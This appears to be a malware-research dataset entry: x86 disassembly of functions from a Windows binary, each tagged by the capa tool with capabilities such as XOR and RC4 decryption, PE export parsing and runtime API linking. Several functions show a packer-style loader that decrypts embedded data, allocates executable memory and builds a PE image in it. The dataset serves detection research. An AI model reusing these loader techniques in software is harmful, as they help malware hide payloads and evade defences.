joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101c29d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x64
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [0x101d9a28]
mov esi, edx
add esi, 0xffffedec
mov dword [0x101d9a28], esi
mov dword [0x101d9a24], 0x1040
mov esi, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x3c], ecx
jmp 0x101c2a2c
xor eax, eax
mov ecx, dword [ebp - 0x38]
add ecx, 0xfffbc5ac
mov dword [0x101d9a28], ecx
mov dword [0x101d9a24], 0x195f
mov dword [ebp - 0x40], eax
jmp 0x101c2a78
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x34]
lea edx, section..data
imul esi, eax, 0xac
mov edi, edx
add edi, esi
add edi, 0xa8
mov esi, dword [edi]
imul edi, eax, 0xac
add edx, edi
add edx, 0xa4
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x18c
mov ecx, edx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x3c], eax
je 0x101c2a0c
jmp 0x101c2a2c
mov eax, dword [ebp - 0x40]
mov cl, byte [eax + 0x101c6632]
mov dl, byte [eax + 0x101c6603]
sub dl, cl
mov byte [ebp + eax - 0x2c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x40], eax
jne 0x101c2a78
lea eax, [ebp - 0x2c]
mov dword [0x101d9a28], 0x79a
mov dword [0x101d9a24], 0x1410
mov dword [ebp - 0x48], eax
call fcn.101c2910
mov dword [esp], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
call fcn.101c34ce
mov ecx, eax
mov dword [0x101d9a44], eax
mov eax, esp
mov edx, dword [ebp - 0x44]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
lea edx, section..data
imul esi, eax, 0xac
mov edi, edx
add edi, esi
add edi, 0xa8
mov esi, dword [edi]
imul edi, eax, 0xac
mov ebx, edx
add ebx, edi
add ebx, 4
mov edi, dword [ebx]
imul ebx, eax, 0xac
add edx, ebx
add edx, 0xa4
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x4c]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], edx
call fcn.101c2fa5
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
add eax, ecx
mov edx, dword [ebp - 0x58]
add edx, 1
cmp edx, 0x18c
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], edx
jne 0x101c2b01
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x44]
mov dword [esp + 8], ecx
call fcn.101c3da3
xor eax, eax
mov ecx, dword [ebp - 0x4c]
add ecx, 0x415fa
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov dword [edx + 4], 0x12b800
mov ecx, dword [ebp - 0x4c]
add ecx, 0x45be
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x1f30
mov dword [0x101d9a24], 0x131b
add esp, 0x64
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c362e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov ecx, dword [0x101d9a28]
add ecx, 0x1134
mov dword [0x101d9a24], ecx
mov dword [ebp - 0x10], eax
call fcn.101c333b
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x101c367c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x101d9a28], 0x1efe
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x24]
mov dword [0x101d9a24], 0xe72
mov edi, dword [edx + eax + 0x18]
cmp edi, 0
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x101c3797
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
mov ecx, eax
mov edx, dword [ebp - 0x48]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x51], bh
mov byte [ebp - 0x52], cl
je 0x101c3741
mov eax, dword [ebp - 0x50]
add eax, 1
mov cl, byte [ebp - 0x51]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x52]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x4c], eax
jne 0x101c36f0
mov al, byte [ebp - 0x52]
test al, 1
jne 0x101c3774
jmp 0x101c374a
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 2
mov edx, dword [ebp - 0x40]
add edx, 1
mov esi, dword [ebp - 0x30]
cmp edx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
jb 0x101c36d6
jmp 0x101c3797
mov eax, dword [ebp - 0x44]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x101d9a24], 0x114f
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x34]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c38d8
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101d9a30], 0
mov byte [0x101d9a34], 0
mov dword [0x101d9a24], 0x12ba
mov dword [0x101d9a28], 0x639
mov dword [0x101d9a2c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov dword [0x101d9a28], 0x22b
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101d9a2c]
add eax, 1
mov dword [0x101d9a2c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101c3927
xor eax, eax
mov ecx, dword [0x101d9a24]
add ecx, 0x1c54
mov dword [0x101d9a28], ecx
mov dword [0x101d9a2c], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x101d9a38], 0
mov dword [0x101d9a24], 0x19a
mov edx, dword [0x101d9a30]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x101d9a38], edi
mov dword [0x101d9a24], 0x1ec9
mov eax, edi
cdq
idiv ecx
mov dword [0x101d9a30], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x101d9a34], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov dword [0x101d9a28], 0x1ba8
mov dword [0x101d9a24], 0xfffffd12
mov cl, byte [0x101d9a34]
mov edx, dword [0x101d9a30]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x101d9a2c]
add edx, 1
mov dword [0x101d9a2c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x101c3978
mov eax, dword [0x101d9a28]
add eax, 0xffffe839
mov dword [0x101d9a24], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c3a4a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101d9a2c], 0
mov dword [0x101d9a30], 0
mov dword [0x101d9a3c], 0
mov ebx, dword [0x101d9a28]
mov dword [ebp - 0x10], eax
mov eax, ebx
add eax, 0xffffed33
mov dword [0x101d9a24], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
mov eax, edi
mov dword [ebp - 0x14], eax
mov eax, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x101c3bf0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov edi, 0x100
add edx, 1
mov dword [ebp - 0x30], eax
mov eax, edx
cdq
idiv edi
mov dword [0x101d9a2c], edx
add ecx, 0xfffffeba
mov dword [0x101d9a24], ecx
mov ecx, dword [ebp - 0x24]
movzx ebx, byte [ecx + edx]
add ebx, esi
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x101d9a30], edx
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x101d9a34], cl
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x101d9a34]
mov edx, dword [0x101d9a30]
mov byte [edi + edx], cl
mov dword [0x101d9a28], 0xac5
mov edx, dword [0x101d9a2c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x101d9a30]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov edx, dword [0x101d9a24]
and ebx, 0xff
mov dword [0x101d9a3c], ebx
mov dword [0x101d9a28], 0x8a5
add edx, 0xffffe3a1
mov dword [0x101d9a24], edx
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x30]
mov ch, byte [edx + ebx]
mov dword [0x101d9a28], 0xfffff828
mov byte [0x101d9a41], ch
mov byte [0x101d9a42], cl
xor ch, cl
mov byte [0x101d9a40], ch
mov dword [0x101d9a24], 0x137c
mov edx, dword [ebp - 0x20]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x101c3bf0
mov eax, dword [0x101d9a28]
mov ecx, dword [0x101d9a2c]
mov edx, dword [0x101d9a30]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], esi
jmp 0x101c3abb
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c3c1d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
call fcn.1000107d
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x2c], ecx
je 0x101c3c63
jmp 0x101c3d99
mov eax, 0x1a08
mov ecx, dword [esp + 0x28]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ecx
jmp 0x101c3cf0
lea eax, [esp + 0x30]
lea ecx, [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.101c29d0
mov ecx, 0xd39
lea edx, [0x101c2cb9]
mov esi, dword [esp + 0x30]
mov dword [esp + 0x58], esi
mov dword [esp + 0x98], 0x12b800
mov esi, dword [0x101d9a10]
mov dword [esp + 0x8c], esi
mov esi, dword [0x101d9a14]
mov dword [esp + 0x80], esi
mov esi, dword [0x101d9a18]
mov dword [esp + 0x64], esi
mov esi, dword [0x101d9a1c]
mov dword [esp + 0x84], esi
mov esi, dword [0x101d9a20]
mov dword [esp + 0x40], esi
mov dword [0x101d9a28], 0x1b67
mov dword [0x101d9a24], 0x23bf
mov dword [esp + 0x18], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
cmp word [eax], 0x5a4d
mov dword [esp + 0x28], eax
mov dword [esp + 0x14], ecx
jne 0x101c3c41
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x10], ecx
jne 0x101c3c41
mov eax, dword [esp + 0x28]
mov dword [esp + 0x44], eax
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x7c], edx
mov edx, dword [esp + 0x14]
mov dword [0x101d9a28], edx
call fcn.101c3fae
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x101c3d91
lea eax, [esp + 0x40]
mov dword [0x101d9a28], 0x470
mov ecx, dword [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101c3e70
mov ecx, esp
lea edx, [esp + 0x40]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x101d9a24], 0x1c65
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x101c3e70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x101d9a24], 0x195f
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov cl, byte [eax + 0x101c6632]
mov dl, byte [eax + 0x101c6603]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x30], eax
jne 0x101c3e92
lea eax, [ebp - 0x24]
mov dword [0x101d9a28], 0x79a
mov dword [ebp - 0x34], eax
call fcn.101c2910
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.101c34ce
mov dword [0x101d9a28], 0x266c
mov dword [0x101d9a24], 0x27b
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x101c3fa6
mov dword [0x101d9a28], 0x28b5
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.101c37b9
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x34], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 8], ecx
mov dword [0x101d9a28], 0xadb
mov dword [0x101d9a24], 0x6bf
add ecx, 0x2694
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x101c3f9d
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x101c3fae
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [0x101d9a28], 0x1293
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
je 0x101c400f
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
jl 0x101c3fe2
mov eax, dword [ebp - 0x18]
mov ecx, dword [0x101d9a24]
add ecx, 0xffffda3b
mov dword [0x101d9a24], ecx
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x101c40c3
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x101c40c3
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff5
shl eax, 1
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
cmp word [eax], 0x61
jne 0x101c40c3
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x14], 0x64
sete dl
mov byte [ebp - 0x21], dl
mov al, byte [ebp - 0x21]
test al, 1
jne 0x101c407f
jmp 0x101c40c3
mov eax, dword [0x101d9a28]
add eax, 0x19c0
mov dword [0x101d9a24], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x101c40c3
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x101c40c3
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x28], eax
je 0x101c40ca
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x101c40ca
mov eax, dword [ebp - 0x28]
add esp, 0x28
pop ebp
ret
Function at 0x10132b37
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x102025e0]
jne 0x10132b41
repz ret
jmp fcn.101342bc

Function at 0x101363fb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10131874
and dword [ebp - 4], 0
cmp dword [0x102035bc], 0
mov ebx, eax
jne 0x101364ac
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1013655d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1013655d
push eax
call fcn.10131802
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x102035bc], eax
call esi
push eax
call fcn.10131802
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x102035c0], eax
call esi
push eax
call fcn.10131802
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x102035c4], eax
call esi
push eax
call fcn.10131802
pop ecx
mov dword [0x102035cc], eax
test eax, eax
je 0x101364ac
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10131802
pop ecx
mov dword [0x102035c8], eax
mov eax, dword [0x102035c8]
cmp eax, ebx
je 0x10136504
cmp dword [0x102035cc], ebx
je 0x10136504
push eax
call fcn.1013187d
push dword [0x102035cc]
mov esi, eax
call fcn.1013187d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10136504
test edi, edi
je 0x10136504
call esi
test eax, eax
je 0x101364fb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x101364fb
test byte [ebp - 0xc], 1
jne 0x10136504
or dword [ebp + 0x10], 0x200000
jmp 0x1013653d
mov eax, dword [0x102035c0]
cmp eax, ebx
je 0x1013653d
push eax
call fcn.1013187d
pop ecx
test eax, eax
je 0x1013653d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1013653d
mov eax, dword [0x102035c4]
cmp eax, ebx
je 0x1013653d
push eax
call fcn.1013187d
pop ecx
test eax, eax
je 0x1013653d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x102035bc]
call fcn.1013187d
pop ecx
test eax, eax
je 0x1013655d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1013655f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101378c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x60
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x10201ba0], 0x23d1
mov edx, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
lea edx, section..data
imul esi, eax, 0x6c
mov edi, edx
add edi, esi
add edi, 0x68
mov esi, dword [edi]
imul edi, eax, 0x6c
add edx, edi
add edx, 0x50
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x4d9
mov ecx, edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
jne 0x101378e3
lea eax, [0x101de444]
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov esi, dword [0x10201ba4]
add esi, 0x831
mov dword [0x10201ba4], esi
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], ecx
call fcn.10137c40
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call fcn.10138180
mov ecx, eax
mov dword [0x10201bc0], eax
mov eax, esp
mov edx, dword [ebp - 0x3c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov dword [0x10201ba0], 0x829
mov edx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
lea edx, section..data
imul esi, eax, 0x6c
mov edi, edx
add edi, esi
add edi, 0x68
mov esi, dword [edi]
imul edi, eax, 0x6c
mov ebx, edx
add ebx, edi
add ebx, 0x4c
mov edi, dword [ebx]
imul ebx, eax, 0x6c
add edx, ebx
add edx, 0x50
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x48]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x5c], edx
call fcn.10137a90
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
add eax, ecx
mov edx, dword [ebp - 0x54]
add edx, 1
cmp edx, 0x4d9
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], edx
jne 0x101379b1
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x3c]
mov dword [esp + 8], ecx
call fcn.101380f0
xor eax, eax
mov ecx, dword [ebp - 0x48]
add ecx, 0x6483f
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov dword [edx + 4], 0x143000
mov ecx, dword [ebp - 0x48]
add ecx, 0x10c1d
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x1f20
mov dword [0x10201ba4], 0xe43
add esp, 0x60
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10137af0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x10201ba8], 0
mov dword [0x10201bac], 0
mov dword [0x10201bb8], 0
mov dword [0x10201ba0], 0x819
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
je 0x10137c32
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov edx, dword [0x10201ba8]
add edx, 1
mov dword [ebp - 0x24], eax
mov eax, edx
cdq
idiv ecx
mov dword [0x10201ba8], edx
mov dword [0x10201ba0], 0x110a
mov esi, dword [0x10201bac]
mov edi, dword [ebp - 0x1c]
movzx edx, byte [edi + edx]
add edx, esi
mov eax, edx
cdq
idiv ecx
mov dword [0x10201bac], edx
mov ecx, dword [0x10201ba8]
mov bl, byte [edi + ecx]
mov byte [0x10201bb0], bl
mov bl, byte [edi + edx]
mov byte [edi + ecx], bl
mov bl, byte [0x10201bb0]
mov ecx, dword [0x10201bac]
mov byte [edi + ecx], bl
mov ecx, dword [0x10201ba8]
movzx ecx, byte [edi + ecx]
mov edx, dword [0x10201bac]
movzx edx, byte [edi + edx]
add edx, ecx
mov ecx, dword [0x10201ba0]
add ecx, 0x154a
mov dword [0x10201ba0], ecx
and edx, 0xff
mov dword [0x10201bb8], edx
mov ecx, dword [0x10201ba4]
add ecx, 0x880
mov dword [0x10201ba4], ecx
mov bl, byte [edi + edx]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
movzx esi, byte [ecx + edx]
mov dword [esp], esi
movzx esi, bl
mov dword [esp + 4], esi
call fcn.10001000
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
mov byte [ecx + edx], al
add edx, 1
mov esi, dword [ebp - 0x10]
cmp edx, esi
mov dword [ebp - 0x20], edx
jne 0x10137b49
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x10137e40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [0x10201ba0], 0x183f
lea eax, [fcn.10137e40]
mov dword [ebp - 4], eax
jmp 0x10137e5b
mov eax, dword [ebp - 4]
cmp word [eax], 0x5a4d
mov dword [ebp - 8], eax
jne 0x10137e7f
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x10137e7f
mov eax, dword [ebp - 8]
add esp, 0xc
pop ebp
ret
mov eax, dword [ebp - 8]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
jmp 0x10137e5b